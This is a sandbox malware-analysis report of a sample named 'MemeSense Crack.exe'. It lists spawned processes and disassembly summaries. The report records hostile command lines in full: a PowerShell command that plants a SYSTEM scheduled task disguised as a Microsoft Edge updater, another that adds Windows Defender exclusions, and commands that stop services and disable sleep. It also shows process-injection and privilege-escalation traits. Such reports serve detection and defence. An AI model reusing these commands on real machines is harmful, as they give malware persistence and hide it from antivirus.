Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 1288, Parent PID: 4348

General

Target ID:	107
Start time:	05:16:44
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: cmd.exePID: 6780, Parent PID: 4380

General

Target ID:	108
Start time:	05:16:44
Start date:	15/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 5756, Parent PID: 6780

General

Target ID:	109
Start time:	05:16:44
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powercfg.exePID: 7760, Parent PID: 6780

General

Target ID:	110
Start time:	05:16:44
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 1384, Parent PID: 3432

General

Target ID:	111
Start time:	05:16:45
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: dialer.exePID: 1796, Parent PID: 4380

General

Target ID:	112
Start time:	05:16:45
Start date:	15/06/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff710bd0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	113
Start time:	05:16:45
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powercfg.exePID: 4428, Parent PID: 6780

General

Target ID:	114
Start time:	05:16:46
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powershell.exePID: 1976, Parent PID: 4380

General

Target ID:	115
Start time:	05:16:46
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 5348, Parent PID: 1976

General

Target ID:	116
Start time:	05:16:46
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1300, Parent PID: 1796

General

Target ID:	117
Start time:	05:16:47
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: powercfg.exePID: 448, Parent PID: 6780

General

Target ID:	118
Start time:	05:16:47
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: dialer.exePID: 6360, Parent PID: 4380

General

Target ID:	119
Start time:	05:16:48
Start date:	15/06/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff710bd0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 1368, Parent PID: 1796

General

Target ID:	120
Start time:	05:16:50
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: powershell.exePID: 1000, Parent PID: 4380

General

Target ID:	121
Start time:	05:16:50
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 524, Parent PID: 1000

General

Target ID:	122
Start time:	05:16:50
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: svchost.exePID: 2112, Parent PID: 1796

General

Target ID:	123
Start time:	05:16:51
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: svchost.exePID: 2168, Parent PID: 1796

General

Target ID:	124
Start time:	05:16:53
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: dialer.exePID: 3320, Parent PID: 4380

General

Target ID:	125
Start time:	05:16:54
Start date:	15/06/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff710bd0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	126
Start time:	05:16:54
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ztwihm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	127
Start time:	05:16:55
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: spoolsv.exePID: 2284, Parent PID: 1796

General

Target ID:	128
Start time:	05:16:56
Start date:	15/06/2024
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff719eb0000
File size:	842'752 bytes
MD5 hash:	0D4B1E3E4488E9BDC035F23E1F4FE22F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Disassembly

Reset < >

Analysis Process: MemeSense Crack.exePID: 432, Parent PID: 4380COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	22
Total number of Limit Nodes:	0

Executed Functions

Function 00401352 Relevance: 7.8, APIs: 5, Instructions: 294
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(6A4ABC5B,C2FFB03B,?), ref: 0040167E
CreateFileW.KERNELBASE(6A4ABC5B,7C0017BB,?,40000000,00000000,00000000,00000002,?,00000000), ref: 004016A6
WriteFile.KERNELBASE(6A4ABC5B,E80A791F,?,?,?,?,00000000), ref: 004016D1
FindCloseChangeNotification.KERNELBASE(6A4ABC5B,0FFD97FB,?), ref: 004016F3
ShellExecuteW.SHELL32(40F1A814,1BE1BB74,00000000,?,?,00000000,00000000,00000005), ref: 004017A3

Memory Dump Source

Source File: 00000011.00000002.1577959372.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1577917726.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1577959372.0000000000596000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1577959372.000000000059F000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1577959372.0000000000A94000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1586442656.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D7C000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_MemeSense Crack.jbxd

Similarity

API ID: File$ChangeCloseCreateDeleteExecuteFindNotificationShellWrite
String ID:
API String ID: 1340438571-0
Opcode ID: 051c25e9b6972be5c03fd96393beb8abb5881dff4cf5cdb0f2b04658c5348743
Instruction ID: 88d895201c47ce4f99892977763e2820bb9b7310e55bb7fc4b0a3619c4af67f6
Opcode Fuzzy Hash: 051c25e9b6972be5c03fd96393beb8abb5881dff4cf5cdb0f2b04658c5348743
Instruction Fuzzy Hash: 01A1AB70640209FEEF30ABA0CC45FA976B4EF44304F158077FA04BA1E1E67D9A44DB2A

Function 00401000 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(6A4ABC5B,73E2D87E,00000000,00000001,005A59F3,005BFD78,updater.exe,00000000,00000001,00000001,005A01F3,00005800,cli_gui.exe,00000000,00000001,00000001), ref: 0040125A

Strings

AC3BF.tmp, xrefs: 004011E3
cli_gui.exe, xrefs: 0040120B
updater.exe, xrefs: 00401233

Memory Dump Source

Source File: 00000011.00000002.1577959372.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.1577917726.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1577959372.0000000000596000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1577959372.000000000059F000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1577959372.0000000000A94000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1586442656.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D7C000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_MemeSense Crack.jbxd

Similarity

API ID: ExitProcess
String ID: AC3BF.tmp$cli_gui.exe$updater.exe
API String ID: 621844428-139132129
Opcode ID: 314d0a8b4325492b90cc66de67415e6dcda5cdc70b5b1f8359ecf202038c4fc6
Instruction ID: e559af4b934a92256900b37148c444780537600c4778cc970a8811169770b829
Opcode Fuzzy Hash: 314d0a8b4325492b90cc66de67415e6dcda5cdc70b5b1f8359ecf202038c4fc6
Instruction Fuzzy Hash: DD511E202602099DDB10AFF1D919EC577B0FF14321F4A90AADD046F2B2E77A9605D76E

Function 02E442C4 Relevance: 1.5, APIs: 1, Instructions: 41
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThreadEx.KERNELBASE(000000FF,?,?,?,?,?,00000000,?), ref: 02E44331

Memory Dump Source

Source File: 00000011.00000002.1592084101.0000000002E42000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E42000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2e42000_MemeSense Crack.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: fea2e9238f884a9963675466e4f74c9ef7d7aecae16e01015f39f90c508cff8d
Instruction ID: 21c6f925fe0568b84a8e86832ed2b819428574eb5eece159f0137b632f6661fb
Opcode Fuzzy Hash: fea2e9238f884a9963675466e4f74c9ef7d7aecae16e01015f39f90c508cff8d
Instruction Fuzzy Hash: 8C010C7254E3D59FCB134F648C51AC63F31AF07214B5D01C7E9E4CA1B3C229892AD756

Function 00D88598 Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 00D885C3

Memory Dump Source

Source File: 00000011.00000002.1587224912.0000000000D7C000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C1B000, based on PE: true

Associated: 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D5C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1587224912.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_MemeSense Crack.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 44c1ed8acb58ac38b80867ccc560b5a64832c6ed3d5748da03506bad07648508
Instruction ID: 2ca14fd2e4d3f73f0e91cf7258a9d646fcf450a7388ecd22d40a4de8908adca2
Opcode Fuzzy Hash: 44c1ed8acb58ac38b80867ccc560b5a64832c6ed3d5748da03506bad07648508
Instruction Fuzzy Hash: 7EE0E2B6300208AFDB10DE8CD984BAA33DEA798310F548011FA09E7340CA34FC10AB75

Analysis Process: dialer.exePID: 2092, Parent PID: 4380COMMON

Execution Graph

Execution Coverage:	46.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	65.9%
Total number of Nodes:	232
Total number of Limit Nodes:	25

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF724A52328 Relevance: 68.4, APIs: 31, Strings: 8, Instructions: 194
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF724A52078: StrCpyW.SHLWAPI ref: 00007FF724A520AA
Part of subcall function 00007FF724A52078: StrCatW.SHLWAPI ref: 00007FF724A520B8
Part of subcall function 00007FF724A52078: GetModuleHandleW.KERNEL32 ref: 00007FF724A520C1
Part of subcall function 00007FF724A52078: GetCurrentProcess.KERNEL32 ref: 00007FF724A5210C
Part of subcall function 00007FF724A52078: K32GetModuleInformation.KERNEL32 ref: 00007FF724A52120
Part of subcall function 00007FF724A52078: CreateFileW.KERNELBASE ref: 00007FF724A52150
Part of subcall function 00007FF724A52078: CreateFileMappingW.KERNELBASE ref: 00007FF724A5217B
Part of subcall function 00007FF724A52078: MapViewOfFile.KERNELBASE ref: 00007FF724A5219F
Part of subcall function 00007FF724A52078: lstrcmpi.KERNEL32 ref: 00007FF724A521EA
Part of subcall function 00007FF724A52078: FindCloseChangeNotification.KERNELBASE ref: 00007FF724A52258
Part of subcall function 00007FF724A52078: CloseHandle.KERNEL32 ref: 00007FF724A52261
Part of subcall function 00007FF724A52078: FreeLibrary.KERNEL32 ref: 00007FF724A5226A

VerSetConditionMask.NTDLL ref: 00007FF724A52397
VerSetConditionMask.NTDLL ref: 00007FF724A523A8
VerSetConditionMask.NTDLL ref: 00007FF724A523B9
VerifyVersionInfoW.KERNEL32 ref: 00007FF724A523CC
GetCurrentProcessId.KERNEL32 ref: 00007FF724A523DE
OpenProcess.KERNEL32 ref: 00007FF724A523EE
OpenProcessToken.ADVAPI32 ref: 00007FF724A5240F
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF724A52429
AdjustTokenPrivileges.KERNELBASE ref: 00007FF724A5246D
GetLastError.KERNEL32 ref: 00007FF724A52477
FindCloseChangeNotification.KERNELBASE ref: 00007FF724A52480
FindResourceA.KERNEL32 ref: 00007FF724A52494
SizeofResource.KERNEL32 ref: 00007FF724A524AB
LoadResource.KERNEL32 ref: 00007FF724A524C4
LockResource.KERNEL32 ref: 00007FF724A524D6
GetCurrentProcessId.KERNEL32 ref: 00007FF724A524E3
RegCreateKeyExW.KERNELBASE ref: 00007FF724A52524
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF724A52557
RegSetKeySecurity.KERNELBASE ref: 00007FF724A52574
LocalFree.KERNEL32 ref: 00007FF724A52581
RegCreateKeyExW.KERNELBASE ref: 00007FF724A525B9
GetCurrentProcessId.KERNEL32 ref: 00007FF724A525C3
RegSetValueExW.KERNELBASE ref: 00007FF724A525F1
RegCloseKey.KERNELBASE ref: 00007FF724A525FC
RegCloseKey.ADVAPI32 ref: 00007FF724A52607
CreateThread.KERNELBASE ref: 00007FF724A52628
GetProcessHeap.KERNEL32 ref: 00007FF724A5262E
HeapAlloc.KERNEL32 ref: 00007FF724A5263D
CreateThread.KERNELBASE ref: 00007FF724A5266C
CreateThread.KERNELBASE ref: 00007FF724A5268D
SleepEx.KERNEL32 ref: 00007FF724A52695

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00007FF724A52550
SOFTWARE\dialerconfig, xrefs: 00007FF724A524FF
svc64, xrefs: 00007FF724A525CE
kernel32.dll, xrefs: 00007FF724A523D2
ntdll.dll, xrefs: 00007FF724A5233B
SeDebugPrivilege, xrefs: 00007FF724A52422
pid, xrefs: 00007FF724A52596
DLL, xrefs: 00007FF724A52486

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentResource$ConditionFileFindMaskSecurityThread$ChangeDescriptorFreeHandleHeapModuleNotificationOpenTokenValue$AdjustAllocConvertErrorInfoInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringVerifyVersionViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 2174858571-1130149537
Opcode ID: e217ab2428879e7bf15cc9a9388402d8400cf51ef4bf127441e202d36daec020
Instruction ID: 707dc3186f8a4e6e09dc8cb992a14c3c74a322e6ac977c0d21c6d22c3b3df1cd
Opcode Fuzzy Hash: e217ab2428879e7bf15cc9a9388402d8400cf51ef4bf127441e202d36daec020
Instruction Fuzzy Hash: C9A11D36E09B4296EB20AF22ED84AA9B3B1FB84754F904135D94D47B65DF7CD148CF10

Function 00007FF724A510C0 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 259
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF724A519AC: OpenProcess.KERNEL32(?,?,?,00007FF724A5110E), ref: 00007FF724A519CA
Part of subcall function 00007FF724A519AC: IsWow64Process.KERNEL32(?,?,?,00007FF724A5110E), ref: 00007FF724A519E0
Part of subcall function 00007FF724A519AC: FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF724A5110E), ref: 00007FF724A519FB

OpenProcess.KERNEL32 ref: 00007FF724A5112C
OpenProcess.KERNEL32 ref: 00007FF724A5114B
K32GetModuleFileNameExW.KERNEL32 ref: 00007FF724A51170
PathFindFileNameW.SHLWAPI ref: 00007FF724A5117E
lstrlenW.KERNEL32 ref: 00007FF724A5118A
StrCpyW.SHLWAPI ref: 00007FF724A511A1
CloseHandle.KERNEL32 ref: 00007FF724A511AD
StrCmpIW.SHLWAPI ref: 00007FF724A511ED
NtQueryInformationProcess.NTDLL ref: 00007FF724A51221
OpenProcessToken.ADVAPI32 ref: 00007FF724A5124B
GetTokenInformation.KERNELBASE ref: 00007FF724A51277
GetLastError.KERNEL32 ref: 00007FF724A51281
LocalAlloc.KERNEL32 ref: 00007FF724A51294
GetTokenInformation.KERNELBASE ref: 00007FF724A512C0
GetSidSubAuthorityCount.ADVAPI32 ref: 00007FF724A512CD
GetSidSubAuthority.ADVAPI32 ref: 00007FF724A512DC
LocalFree.KERNEL32 ref: 00007FF724A512F4
CloseHandle.KERNEL32 ref: 00007FF724A51308
StrStrA.SHLWAPI ref: 00007FF724A513B2
VirtualAllocEx.KERNELBASE ref: 00007FF724A51419
WriteProcessMemory.KERNELBASE ref: 00007FF724A5143C
WaitForSingleObject.KERNEL32 ref: 00007FF724A51488
GetExitCodeThread.KERNEL32 ref: 00007FF724A5149E
FindCloseChangeNotification.KERNELBASE ref: 00007FF724A514B6
CloseHandle.KERNEL32 ref: 00007FF724A514BF

Strings

@, xrefs: 00007FF724A5140C
ReflectiveDllMain, xrefs: 00007FF724A513A8
WmiPrvSE.exe, xrefs: 00007FF724A511CC
dialer.exe, xrefs: 00007FF724A511D8
MSBuild.exe, xrefs: 00007FF724A511B8

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

Associated: 00000022.00000002.2196593393.00007FF724A50000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: Process$Close$Open$FindHandleInformationToken$AllocAuthorityChangeFileLocalNameNotification$CodeCountErrorExitFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$WmiPrvSE.exe$dialer.exe
API String ID: 2998269048-2835194517
Opcode ID: 544d3209d9aa9e6ba5ca7d9f2d2eefc3a9e0a6ddaab6f3d4a2b6f9620268a1a8
Instruction ID: 0afaa5ea84f3b085cd2b2feeb1a4a2e5fc9360b3354ba929eacd13886b1734b5
Opcode Fuzzy Hash: 544d3209d9aa9e6ba5ca7d9f2d2eefc3a9e0a6ddaab6f3d4a2b6f9620268a1a8
Instruction Fuzzy Hash: 54B19071E0864286EB11AF23AEC0AB9A7B1FF84B84FA04135CA4E47756DF7CE545CB50

Function 00007FF724A514E4 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF724A51517
HeapAlloc.KERNEL32 ref: 00007FF724A5152A
GetProcessHeap.KERNEL32 ref: 00007FF724A51538
HeapAlloc.KERNEL32 ref: 00007FF724A51549
K32EnumProcesses.KERNEL32 ref: 00007FF724A51563
OpenProcess.KERNEL32 ref: 00007FF724A51591
K32EnumProcessModules.KERNEL32 ref: 00007FF724A515B6
ReadProcessMemory.KERNELBASE ref: 00007FF724A515ED
FindCloseChangeNotification.KERNELBASE ref: 00007FF724A51629
GetProcessHeap.KERNEL32 ref: 00007FF724A5163B
HeapFree.KERNEL32 ref: 00007FF724A51649
GetProcessHeap.KERNEL32 ref: 00007FF724A5164F
HeapFree.KERNEL32 ref: 00007FF724A5165D

Memory Dump Source

Source File: 00000022.00000002.2196782786.00007FF724A51000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF724A50000, based on PE: true

